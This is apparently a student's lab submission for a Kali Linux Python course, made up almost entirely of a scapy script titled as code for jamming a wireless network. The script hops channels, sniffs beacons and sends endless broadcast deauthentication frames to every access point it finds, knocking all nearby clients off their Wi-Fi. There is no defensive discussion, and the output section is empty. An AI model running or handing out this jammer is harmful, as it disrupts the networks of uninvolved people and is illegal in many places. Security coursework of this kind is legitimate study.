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| Semester | TY Semester V |
| Subject | SDL PYTHON KALI LINUX |
| PRN | 0220190206 |
| Laboratory | CSS |

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| Student Name | Tanisha Patil |
| Roll Number | 236 |

Writing a Python code for Jamming a Wireless Network

**Code:**

from scapy.all import \*

import threading

import os, time, random

a\_points = []

def hopper():

while True:

ch = random.randint(1, 12)

os.system("iwconfig wlan1mon channel %d" % ch)

time.sleep(0.75)

def disconnect(\_ap, \_st):

pkt = RadioTap() / Dot11(addr1=\_st, addr2=\_ap, addr3=\_ap) / Dot11Deauth(reason=2)

while True:

sendp(pkt, iface="wlan1mon", verbose=False)

def findBSS(pkt):

if pkt.haslayer(Dot11Beacon):

bssid = pkt.getlayer(Dot11).addr2

essid = pkt.getlayer(Dot11Elt).info

if bssid not in a\_points:

a\_points.append( bssid )

print "Disconnecting: %s" % essid

\_t = threading.Thread(target=disconnect, args=(bssid, "ff:ff:ff:ff:ff:ff"))

\_t.daemon = True

\_t.start()

if \_\_name\_\_ == "\_\_main\_\_":

\_t = threading.Thread(target=hopper)

\_t.daemon = True

\_t.start()

sniff(iface="wlan1mon", prn=findBSS)

**Output:**

